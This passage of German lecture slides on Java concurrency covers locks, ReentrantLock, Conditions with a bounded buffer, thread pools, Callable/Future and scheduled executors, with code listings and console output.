volatile boolean keepRunning = true ;
←
public void run () {
while ( keepRunning ) {
long now = System . c u r r e n t T i m e M i l l i s ();
System . out . printf ( " % tr % n " , now );
try { Thread . sleep (1000); // millisecs
} catch ( I n t e r r u p t e d E x c e p t i o n e ) {
return ;
}
}
} // run
public void pleaseStop () {
keepRunning = false ;
}
41 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
TimeUnit
public static void main ( String [] args ) {
MainClass thread = new MainClass ();
thread . start ();
try { SECONDS . sleep (10); // MILLISECONDS . sleep (10000);
} catch ( I n t e r r u p t e d E x c e p t i o n ignore ) {}
thread . pleaseStop ();
} // main
1
2
3
4
5
6
7
8
←
}
as@hal : TimeUnit > java MainClass
10:19:51 AM
10:19:52 AM
10:19:53 AM
10:19:54 AM
10:19:55 AM
10:19:56 AM
10:19:57 AM
10:19:58 AM
10:19:59 AM
10:20:00 AM
as@hal : TimeUnit >
• In main wird ein Thread
gestartet,
• dann 10 Sekunden
gewartet und
• letztlich durch
pleaseStop der Thread
gestoppt.
42 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
TimeUnit
public static void main ( String [] args ) {
MainClass thread = new MainClass ();
thread . start ();
try { SECONDS . sleep (10); // MILLISECONDS . sleep (10000);
} catch ( I n t e r r u p t e d E x c e p t i o n ignore ) {}
thread . pleaseStop ();
} // main
1
2
3
4
5
6
7
8
←
}
as@hal : TimeUnit > java MainClass
10:19:51 AM
10:19:52 AM
10:19:53 AM
10:19:54 AM
10:19:55 AM
10:19:56 AM
10:19:57 AM
10:19:58 AM
10:19:59 AM
10:20:00 AM
as@hal : TimeUnit >
• In main wird ein Thread
gestartet,
• dann 10 Sekunden
gewartet und
• letztlich durch
pleaseStop der Thread
gestoppt.
42 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Lock
Das Interface Lock spezifiziert das Verhalten von Lock-Objekten.
public interface Lock {
void lock ();
void loc kIn ter rup tib l e () throws I n t e r r u p t e d E x c e p t i o n ;
boolean tryLock ();
boolean tryLock ( long time , TimeUnit unit )
throws I n t e r r u p t e d E x c e p t i o n ;
void unlock ();
Condition newCondition ();
// Erkl \" arung sp \" ater
}
• lock wartet bis der Objektschl¨
ussel verf¨
ugbar ist und belegt ihn
dann. unlock gibt das Objekt frei.
• lockInterruptible funktioniert wie lock, aber es wird eine
Ausnahme geworfen, wenn ein anderer Thread den Thread durch
interrupt unterbricht.
• tryLock liefert false, wenn das Objekt nicht verf¨
ugbar ist; ansonsten
wird das Objekt in Besitz genommen und true returniert.
• tryLock(long, TimeUnit) funktioniert wie tryLock, aber es wird
eine maximale Zeitspanne gewartet, wenn das Objekt nicht
verf¨
ugbar ist.
43 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
ReentrantLock
Die Klasse ReentrantLock implementiert die Schnittstelle Lock.
public class ReentrantLock implements Lock , Serializable {
public ReentrantLock ( boolean fair );
public ReentrantLock ;
// Methods of Lock
void lock ();
void loc kIn ter rup tib l e () throws I n t e r r u p t e d E x c e p t i o n ;
boolean tryLock ();
boolean tryLock ( long time , TimeUnit unit )
throws I n t e r r u p t e d E x c e p t i o n ;
void unlock ();
Condition newCondition ();
// additional Methods
public boolean isFair ();
public int getHoldCount ();
public int getQueueLen gth ();
public boolean i s H e l d B y C u r r e n t T h r e a d ();
public boolean isLocked ();
protected Thread getOwner ();
protected Collection < Thread > g e t Q u e u e d T h r e a d s ();
}
44 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
ReentrantLock
• Der Konstruktor kann die Angabe eine fair-Paramerters haben.
Wenn mehrere Threads auf den Lock warten, garantiert fair==true,
dass der am l¨angsten wartende Thread das Lock-Objekt erh¨alt.
• isFair liefert den fair-Parameter des Konstruktors zur¨
uck.
• Ein Lock enth¨
alt eine Z¨ahler, der bei jedem lock inkrementiert, bei
unlock dekrementiert wird. Ein Thread kann also ¨ofter lock aufrufen.
getHoldCount liefert den Wert des Z¨ahlers.
• getQueueLength returniert die Anzahl der auf einen Lock
wartenden Threads.
• isHeldByCurrentThread ist true, wenn der aufrufende Thread den
Lock h¨alt.
• isLocked ist true, wenn irgendein Thread den Lock h¨
alt.
• getOwner(), Collection<Thread> getQueuedThreads liefern
den Besitzer und die wartenden Threads.
45 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
ReentrantLock - Beispiel
Klasse Konto (Account), Geldabholer (Withdrawer als Thread)
Zun¨achst die Realisierung der Klasse Account mit synchronized.
ReentrantLock/synchronized/WithdrawApp.java
1
2
3
4
5
7
8
9
11
12
13
14
15
16
17
18
class Account {
private float balance ;
public Account ( float initia lBalanc e ) {
balance = initialBalan ce ;
}
public synchronized float getBalance () {
return balance ;
} // getBalance
public synchronized void withdraw ( float amount ) {
if ( amount < 0 || balance < amount )
throw new I l l e g a l A r g u m e n t E x c e p t i o n ( " withdraw : wrong amount "
+ amount );
try { Thread . sleep (1000); } catch ( Exception e ) {};
balance -= amount ;
} // withdraw
} // Account
46 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
ReentrantLock - Beispiel
Nun die Realisierung der Klasse Account mittels Locks.
ReentrantLock/ReentrantLock/WithdrawApp.java
Die Blockstruktur von synchronized muss mittels lock und unlock
nachgebildet werden:
1
2
3
4
5
6
7
8
import java . util . concurrent . locks .*;
private final ReentrantLock lock = new ReentrantLock ( true );
lock . lock ();
try { ...
}
finally {
lock . unlock ();
}
←
←
←
• Wichtig:
• Da im try-Block Ausnahmen auftreten k¨
onnen ist mittels finally
sicherzustellen, dass stets unlock aufgerufen wird!
• Nur so werden ’gelockte’ Objekte immer freigegeben.
• Die Verwendung von lock-unlock ist also aufwendiger, daf¨
ur aber
universell: ein Thread kann lock aufrufen, ein andere unlock
• Soll anstelle einer Objektsperre eine Klassensperre deklariert werden,
wird die Lock-Variable als static definiert.
47 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
ReentrantLock - Beispiel
ReentrantLock/ReentrantLock/WithdrawApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java . util . concurrent . locks .*;
class Account {
private float balance ;
private final ReentrantLock lock = new ReentrantLock ( true );
public Account ( float initia lBalanc e ) {
balance = initialBalan ce ;
} // Account
public float getBalance () {
lock . lock ();
try { return balance ;
} finally { lock . unlock ();}
} // getBalance
public void withdraw ( float amount ) {
lock . lock ();
←
try {
if ( amount < 0 || balance < amount )
throw new I l l e g a l A r g u m e n t E x c e p t i o n ( " withdraw : wrong amount "
+ amount );
try { Thread . sleep (1000); } catch ( Exception e ) {};
balance -= amount ;
} finally { lock . unlock ();}
←
} // withdraw
} // Account
48 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
ReentrantLock - Beispiel
Frage:
Was muss ge¨andert werden, wenn Jenni und Hannah nicht
gleichzeitig Geld abholen d¨
urfen?
Idee:
Der erste Abholer h¨alt den Lock, der zweite muss abgewiesen
werden.
49 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
ReentrantLock - Beispiel
L¨
osung
tryLock anstelle von lock
ReentrantLock/tryLock/WithdrawApp.java
1
2
3
4
5
6
7
8
9
10
11
public void withdraw ( float amount ) {
if ( lock . tryLock () == false ) return ;
←
try {
if ( amount < 0 || balance < amount )
throw new I l l e g a l A r g u m e n t E x c e p t i o n ( " withdraw : ...);
try { Thread . sleep (1000); } catch ( Exception e ) {};
balance -= amount ;
} finally {
lock . unlock ();
}
} // withdraw
50 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Condition
Die Methode newCondition des Interface Lock liefert ein
Condition-Objekt zur¨
uck.
public interface Condition {
void await () throm I n t e r r u p t e d E x c e p t i o n ;
void a w a i t U n i n t e r r u p t i b l y ();
boolean await ( long time Timeunit unit ) throm I n t e r r u p t e d E x c e p t i o n ;
long awaitNanos ( long time ) throm I n t e r r u p t e d E x c e p t i o n ;
boolean awaitUntil ( Date deadline ) throm I n t e r r u p t e d E x c e p t i o n ;
void signal ();
void signalAll ();
}
¨
• Die Methoden haben Ahnlichkeit
zu wait und notify.
• Eine Condition ist signalisiert oder nicht signalisiert. Sofort nach
ihrer Erzeugung ist sie signalisiert.
• Ein await-Aufruf auf einer signalisierten Condition kehrt sofort
zur¨
uck. Vor R¨
uckkehr von await wird die Condition in den nicht
signalisierten Zustand versetzt.
• signal versetzt eine Condition in den signalisierten Zustand, weckt
also einen wartenden Thread, signalAll weckt alle auf die Condition
wartenden Threads.
51 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Condition - Beispiel
BoundedBuffer, zun¨achst mit synchronized
Condition/BoundedBuffer/synchronized/BoundedBufferApp.java
1
2
3
4
6
7
8
9
10
12
13
14
15
16
17
18
class BoundedBuffer {
private float [] buffer ;
private int first , last ;
private int numberIn Buffer = 0 , size ;
BoundedBuffer ( int length ) {
size = length ;
buffer = new float [ size ];
first = last = 0;
}
public synchronized void dumpBuffer () {
System . err . print ( " Buffer : " ); // use err channel to log
for ( int i =( first +1)% size , j =0; j < num berInBu ffer ;
j ++ , i =( i +1)% size )
System . err . print ( buffer [ i ] + " " );
System . err . println ( " " );
}
• float Puffer fester Gr¨
osse
• dumpBuffer zum Debuggen des Puffers u
¨ber stderr
52 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Condition - Beispiel
BoundedBuffer, zun¨achst mit synchronized
Condition/BoundedBuffer/synchronized/BoundedBufferApp.java
1
2
3
4
5
6
7
8
10
11
12
13
14
15
16
17
18
public synchronized void put ( float item ) throws I n t e r r u p t e d E x c e p t i o n {
while ( numberInBuff er == size ) wait ();
last = ( last +1)% size ;
numberInBuffer ++;
buffer [ last ] = item ;
dumpBuffer ();
notifyAll ();
}
public synchronized float get () throws I n t e r r u p t e d E x c e p t i o n {
while ( numberInBuff er == 0) wait ();
first = ( first +1)% size ;
numberInBuffer - -;
dumpBuffer ();
notifyAll ();
return buffer [ first ];
}
} // BoundedBuffer
• Die Methoden put und get sind mittels synchronized synchronisiert.
• last ist Einf¨
ugestelle.
• von first wird gelesen.
53 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Condition - Beispiel
BoundedBuffer, zun¨achst mit synchronized
Condition/BoundedBuffer/synchronized/BoundedBufferApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Producer extends Thread {
private BoundedBuffer buffer ;
public Producer ( BoundedBuffer b ) {
buffer = b ;
}
public void run () {
for ( int i = 0; i < 100; i ++) {
try {
buffer . put ( i );
System . out . println ( " put " + i );
}
catch ( I n t e r r u p t e d E x c e p t i o n ingnored ) {};
}
}
} // Producer
• Ein Produzent ruft die put-Methode auf.
54 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Condition - Beispiel
BoundedBuffer, zun¨achst mit synchronized
Condition/BoundedBuffer/synchronized/BoundedBufferApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Consumer extends Thread {
private BoundedBuffer buffer ;
public Consumer ( BoundedBuffer b ) {
buffer = b ;
}
public void run () {
for ( int i = 0; i < 100; i ++) {
try {
float x = buffer . get ();
System . out . println ( " got " + x );
}
catch ( I n t e r r u p t e d E x c e p t i o n ingnored ) {};
}
}
} // Consumer
• Ein Konsoment ruft die get-Methode des gemeinsamen Buffer auf.
55 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Condition - Beispiel
Wie kann man dies nun mittels Condition realisieren und wo sind die
Vorteile? Condition/BoundedBuffer/condition/BoundedBufferApp.java
1
2
3
4
6
7
8
10
11
12
14
15
16
class BoundedBuffer {
private float [] buffer ;
private int first , last ;
private int numberInB uffer = 0 , size ;
private ReentrantLock lock = new ReentrantLock ();
private final Condition notFull = lock . newCondition ();
private final Condition notEmpty = lock . newCondition ();
←
←
←
BoundedBuffer ( int length ) {
...
}
public void dumpBuffer () {
...
}
• lock ist ein ReentrantLock Objekt.
• Es gibt zwei Condition Attribute, notFull und notEmpty f¨
ur das
Objekt lock.
56 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Condition - Beispiel
Condition/BoundedBuffer/condition/BoundedBufferApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
public void put ( float item ) throws I n t e r r u p t e d E x c e p t i o n {
lock . lock ();
←
try {
while ( numberInBuff er == size ) notFull . await ();
←
last = ( last +1)% size ;
numberInBuffer ++;
buffer [ last ] = item ;
dumpBuffer ();
notEmpty . signal ();
←
} finally {
lock . unlock ();
←
}
}
• Wenn der Buffer voll ist, wird gewartet, bis eine Condition notFull
signalisiert wird.
• Nach dem Schreiben in den Buffer wird signaliert notEmpty.
57 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Condition - Beispiel
Condition/BoundedBuffer/condition/BoundedBufferApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
public float get () throws I n t e r r u p t e d E x c e p t i o n {
lock . lock ();
try {
while ( numberInBuff er == 0) notEmpty . await ();
first = ( first +1)% size ;
numberInBuffer - -;
dumpBuffer ();
notFull . signal ();
return buffer [ first ];
} finally {
lock . unlock ();
}
}
←
←
• Wenn der Buffer leer ist, wird gewartet, bis eine Condition notEmpty
signalisiert wird.
• Nach dem Lesen des Buffer wird signaliert notFull.
Insgesamt ist man also mit Locks und Conditions flexibler, man kann
unterschiedliche Bedingungen signalisieren und so gezielt nur bestimmte
Threads wecken (eben die die auf die Condition warten).
58 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Locks
Condition - Beispiel
Condition/BoundedBuffer/condition/BoundedBufferApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
public float get () throws I n t e r r u p t e d E x c e p t i o n {
lock . lock ();
try {
while ( numberInBuff er == 0) notEmpty . await ();
first = ( first +1)% size ;
numberInBuffer - -;
dumpBuffer ();
notFull . signal ();
return buffer [ first ];
} finally {
lock . unlock ();
}
}
←
←
• Wenn der Buffer leer ist, wird gewartet, bis eine Condition notEmpty
signalisiert wird.
• Nach dem Lesen des Buffer wird signaliert notFull.
Insgesamt ist man also mit Locks und Conditions flexibler, man kann
unterschiedliche Bedingungen signalisieren und so gezielt nur bestimmte
Threads wecken (eben die die auf die Condition warten).
58 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Executor
ReentrantLock - Beispiel
Bisher gab es stets eine enge Verbindung, zwischen dem was ein Thread
macht (definiert im Runnable Objekt) und dem Thread selbst.
Beispiel: HelloWorld
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Executor/HelloWorld/runnable/HelloWorld.java
public class HelloWorld {
public static void main ( String args [ ]) {
H elloWorldThread t = new H e l l o W or l d T h r e a d ( " Hello , World ! " );
new Thread ( t ). start ();
// creation and starting a thread
}
}
class HelloWorldThread implements Runnable {
// task of a thread
private String str ;
H e l loWorldThread ( String s ) {
str = new String ( s );
}
public void run ( ) {
System . out . println ( str );
}
}
• In main wird ein Runnable-Objekt t erzeugt. Dann muß es explizite
gestartet werden.
• HelloWorldThread definiert das runnable-Objekt.
59 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Executor
ReentrantLock - Beispiel
Bisher gab es stets eine enge Verbindung, zwischen dem was ein Thread
macht (definiert im Runnable Objekt) und dem Thread selbst.
Beispiel: HelloWorld
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Executor/HelloWorld/runnable/HelloWorld.java
public class HelloWorld {
public static void main ( String args [ ]) {
H elloWorldThread t = new H e l l o W or l d T h r e a d ( " Hello , World ! " );
new Thread ( t ). start ();
// creation and starting a thread
}
}
class HelloWorldThread implements Runnable {
// task of a thread
private String str ;
H e l loWorldThread ( String s ) {
str = new String ( s );
}
public void run ( ) {
System . out . println ( str );
}
}
• In main wird ein Runnable-Objekt t erzeugt. Dann muß es explizite
gestartet werden.
• HelloWorldThread definiert das runnable-Objekt.
59 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Executor
Executor
• In großeren Anwendungen macht es Sinn, strikt zwischen
Thread-Management und Anwendungsfunktionalit¨at des Thread zu
unterscheiden.
• So sollte es auch m¨
oglich sein, dass ein Thread mehrere Aufgaben
nacheinander ausf¨
uhrt, also die ’Threadh¨
ulse’ mehrfach verwendet
werden kann.
60 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Executor
Executor
Objekte, die das Management von Threads u
¨bernehmen, werden
Executor genannt.
Es existieren drei Schnittstellen f¨
ur Executor:
• Executor erlaubt das Erzeugen und Ausf¨
uhren von Threads.
Executor hat eine Methode execute, mit der ein Thread erzeugt und
gestartet werden kann.
Wenn r ein Runnable Objekt ist und e ein Executor, dann gilt:
new Thread(r)).start(); == e.execute(r);
• ExecutorService ist ein Subinterface von Executor, das den
Lebenszyklus von Thread beeinflussen kann.
ExecutorService beinhaltet neben execute noch die Methode submit,
die ebenfalls ein Runnable-Objekt aufnehmen kann. Die meisten der
Executor-Schnittstellen-Implementieirungen benutzen Threadpools.
• ScheduledExecutorService erlaubt das Definieren von zuk¨
unftigen
oder periodischen Abl¨aufen.
61 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Executor
Workerthreads
Die meisten Implementierungen der Executor-Schnittstellen benutzen
Threadpools, die aus Workerthreads bestehen.
Es existiert eine Menge von Workerthreads, die einmal erzeugt
werden und unterschiedliche Aufgaben im Verlauf der Zeit
ausf¨
uhren k¨onnen.
Vorteil:
• die Threaderzeugung geschieht nur einmal
• Alternativ m¨
usste f¨
ur jede Aufgabe immer ein Thread erzeugt
werden, dann gel¨
oscht werden, ein neuer Thread m¨
usste erzeugt
werden usw.
62 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Executor
Workerthreads
Die meisten Implementierungen der Executor-Schnittstellen benutzen
Threadpools, die aus Workerthreads bestehen.
Es existiert eine Menge von Workerthreads, die einmal erzeugt
werden und unterschiedliche Aufgaben im Verlauf der Zeit
ausf¨
uhren k¨onnen.
Vorteil:
• die Threaderzeugung geschieht nur einmal
• Alternativ m¨
usste f¨
ur jede Aufgabe immer ein Thread erzeugt
werden, dann gel¨
oscht werden, ein neuer Thread m¨
usste erzeugt
werden usw.
62 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Executor
Threadpools
Es existieren unterschiedliche Arten von Threadpools. Hier sei eine
stellvertretend behandelt.
• Bei einem fixedThreadpool gibt es eine feste Menge von
Threads.
• Wenn mehrere Aufgabe zu bearbeiten sind, als Threads verf¨
ugbar
sind, werden sie in eine Warteschlage eingereiht.
63 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Executor
Beispiel - fixedThreadpool
4 Aufgaben mit je zwei Schritten durch einem Threadpool mit 2 Threads
Executor/ThreadPool/Threadpool.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Threadpool {
public static void main ( String [] args ) {
Runnable r1 = ←
new Runnable () {
public void run () {
System . out . println ( " A1 " + Thread . currentThread ()
System . out . println ( " A2 " + Thread . currentThread ()
}
};
Runnable r2 =
new Runnable () {
public void run () {
System . out . println ( " B1 " + Thread . currentThread ()
System . out . println ( " B2 " + Thread . currentThread ()
}
};
);
);
);
);
• r1 und r2 sind zwei Runnable-Objekte, die jeweils eine Aufgabe mit
zwei Schritten nacheinander erledigen.
• r1 und r2 sollen nebenl¨
aufig ablaufen k¨
onnen. Thread.currentThread
ruft toString auf und erzeugt die o.a. Ausgabe.
64 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Executor
Beispiel - fixedThreadpool
4 Aufgaben mit je zwei Schritten durch einem Threadpool mit 2 Threads
Executor/ThreadPool/Threadpool.java
1
E xecutorService executor = Executors . n e w F i x e d T h r e a d P o o l (2);
←
3
executor . execute ( r1 );
executor . execute ( r2 );
←
4
6
7
9
10
12
13
14
15
try { Thread . sleep (5000);} catch ( Exception e ) {}
System . out . println ();
executor . execute ( r1 );
executor . execute ( r2 );
executor . shutdown ();
System . out . println ( " Threads started , main ends \ n " );
} // end main
} // end class Threadpool
←
• Mittels newFixedThreadPool wird ein Pool mit zwei Threads erzeugt.
• execute startet einen Thread aus dem Pool.
• shutdown verhindert, dass weitere Workerthreads verwendet werden
konnen.
65 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Executor
Beispiel - fixedThreadpool
Weitere Methoden:
• boolean isShutdown(): Wurde der Executor schon
heruntergefahren?
• List<Runnable> shutdownNow(): Gerade ausf¨
uhrende Befehle
werden zum Stoppen angeregt. Die R¨
uckgabe ist eine Liste der zu
beendenden Kommandos.
Die Ausgabe des letzen Programms:
1
2
3
4
5
7
8
9
10
11
12
as@hal : ThreadPool > java Threadpool
A1 Thread [ pool -1 - thread -1 ,5 , main ]
B1 Thread [ pool -1 - thread -2 ,5 , main ]
A2 Thread [ pool -1 - thread -1 ,5 , main ]
B2 Thread [ pool -1 - thread -2 ,5 , main ]
• pool-1: Name des
A1 Thread [ pool -1 - thread -1 ,5 , main ]
A2 Thread [ pool -1 - thread -1 ,5 , main ]
B1 Thread [ pool -1 - thread -2 ,5 , main ]
B2 Thread [ pool -1 - thread -2 ,5 , main ]
Threads started , main ends
$
• 5: Priorit¨
at des
Threadpool.
• thread-i: Name des Thread.
aufrufendenThread main.
• Die toString()-Methode von
Thread gibt diese Infos aus.
66 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Executor
Beispiel - fixedThreadpool
Weitere Methoden:
• boolean isShutdown(): Wurde der Executor schon
heruntergefahren?
• List<Runnable> shutdownNow(): Gerade ausf¨
uhrende Befehle
werden zum Stoppen angeregt. Die R¨
uckgabe ist eine Liste der zu
beendenden Kommandos.
Die Ausgabe des letzen Programms:
1
2
3
4
5
7
8
9
10
11
12
as@hal : ThreadPool > java Threadpool
A1 Thread [ pool -1 - thread -1 ,5 , main ]
B1 Thread [ pool -1 - thread -2 ,5 , main ]
A2 Thread [ pool -1 - thread -1 ,5 , main ]
B2 Thread [ pool -1 - thread -2 ,5 , main ]
• pool-1: Name des
A1 Thread [ pool -1 - thread -1 ,5 , main ]
A2 Thread [ pool -1 - thread -1 ,5 , main ]
B1 Thread [ pool -1 - thread -2 ,5 , main ]
B2 Thread [ pool -1 - thread -2 ,5 , main ]
Threads started , main ends
$
• 5: Priorit¨
at des
Threadpool.
• thread-i: Name des Thread.
aufrufendenThread main.
• Die toString()-Methode von
Thread gibt diese Infos aus.
66 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Callable
Callable
Problem:
Ein nebenl¨aufige Thread kann dem aufrufenden
Programm/Thread nur u
¨ber Umwege Ergebnisse mitteilen.
Losung:
In der Schnittstelle Callable, die Runnable erweitert, l¨asst sich
eine Datenstruktur u
¨bergeben, in die der Thread das
Ergebnis hineinlegt. Die Datenstruktur kann dann vom
¨
Aufrufer auf Anderungen
untersucht werden.
interface java.util.concurrent.Callable; {
V call()
}
Die Methode call enth¨alt den parallel auszuf¨
uhrenden
Programmcode und liefert eine R¨
uckgabe vom Typ V.
67 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Callable
Callable
Problem:
Ein nebenl¨aufige Thread kann dem aufrufenden
Programm/Thread nur u
¨ber Umwege Ergebnisse mitteilen.
Losung:
In der Schnittstelle Callable, die Runnable erweitert, l¨asst sich
eine Datenstruktur u
¨bergeben, in die der Thread das
Ergebnis hineinlegt. Die Datenstruktur kann dann vom
¨
Aufrufer auf Anderungen
untersucht werden.
interface java.util.concurrent.Callable; {
V call()
}
Die Methode call enth¨alt den parallel auszuf¨
uhrenden
Programmcode und liefert eine R¨
uckgabe vom Typ V.
67 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Callable
Beispiel - int-Felder
im Hintergrund
durch Callable sortieren
Callable/CallableApp.java
1
2
3
4
5
7
8
9
10
11
class Worker implements Callable < int [] > {
private final int [] data ;
Worker ( int [] data ) {
this . data = data ;
}
public int [] call () { // overwrite call
Arrays . sort ( data );
return data ;
}
} // Worker
←
←
• Worker implementiert Callable.
• Callable bietet die Methode call an, die in Worker u
¨berschrieben
wird.
68 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Callable
Beispiel - int-Felder
im Hintergrund
durch Callable sortieren
Callable/CallableApp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class CallableApp {
public static void main ( String [] args ) {
int [] unsorted = {106 ,101 ,110 ,110 ,105};
←
Callable < int [] > c = new Worker ( unsorted ); ←
E xecutorService executor = Executors . n e w C a c h e d T h r e a d P o o l ();
←
Future < int [] > result = executor . submit ( c ); // worker starts ←
try {
int [] sorted = result . get (); // blocks until worker finished
for ( int i =0; i < sorted . length ; i ++)
System . out . print ( sorted [ i ] + " " );
executor . shutdown ();
} catch ( Exception e ) {}
} // end main
} // end class CallableApp
•
•
•
Der ExecutorService bietet eine submit-Methode, die das Callable c annimmt und einen
ur die Abarbeitung aussucht.
Thread f¨
Weil das Ergebnis asynchron ankommt, liefert submit das Future-Objekt result zur¨
uck, u
¨ber
das man erkennen kann, ob das Ergebnis schon verf¨
ugbar ist. Mittesl result.get() wird auf
das Ergebnis gewartet.
alternativ result.isDone()== true) oder sorted = result.get( 2, TimeUnit.SECONDS ); um 2
Sekunden zu warten, nach 2 Sekunden wird Ausnahme geworfen.
69 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Scheduler
Scheduler
Die Klasse ScheduledThreadPoolExecutor ist eine weitere Klasse die
die Schnittstelle Executor und ExecutorService implementiert.
• Damit sind schedule-Methoden verf¨
ugbar, um ein Runnable oder
Callable zu bestimmten Zeiten oder wiederholt auszuf¨
uhren.
Beispiel: Nach 10 Sekunde Startverzogerung wird alle 2 Sekunde die
Uhrzeit ausgegeben (Programm l¨auft 30 Sekunden lang) scheduling/Schedule.java
1
2
3
4
5
6
8
9
10
11
12
13
14
15
class Worker implements Runnable {
public void run () {
long now = System . c u r r e n t T i m e M i l l i s ();
System . out . printf ( " worker : % tr % n " , now );
}
}
as@hal : scheduling > java Schedule
main :
11:34:01 AM
worker : 11:34:11 AM
worker : 11:34:13 AM
worker : 11:34:15 AM
...
worker : 11:34:29 AM
as@hal : scheduling >
70 / 89
Betriebssysteme - Ausgew¨
ahlte Themen → alois.schuette@h-da.de Version: WS2014(967c57d)
Muster nebenl¨
aufiger Programmierung
Scheduler
Beispiel - Scheduler
scheduling/Schedule.java
1
2
3
4
public class Schedule {
public static void main ( String [] args ) {
long now = System . c u r r e n t T i m e M i l l i s ();
System . out . printf ( " main :
% tr % n " , now );
S c h e d u l e d E x e c u t o r S e r v i c e scheduler = ←
Executors . n e w S c h e d u l e d T h r e a d P o o l (1);
6
7
scheduler . sc h e d u l e A t F i x e d R a t e (
new Worker () , // Runnable
10 ,
// initial delay
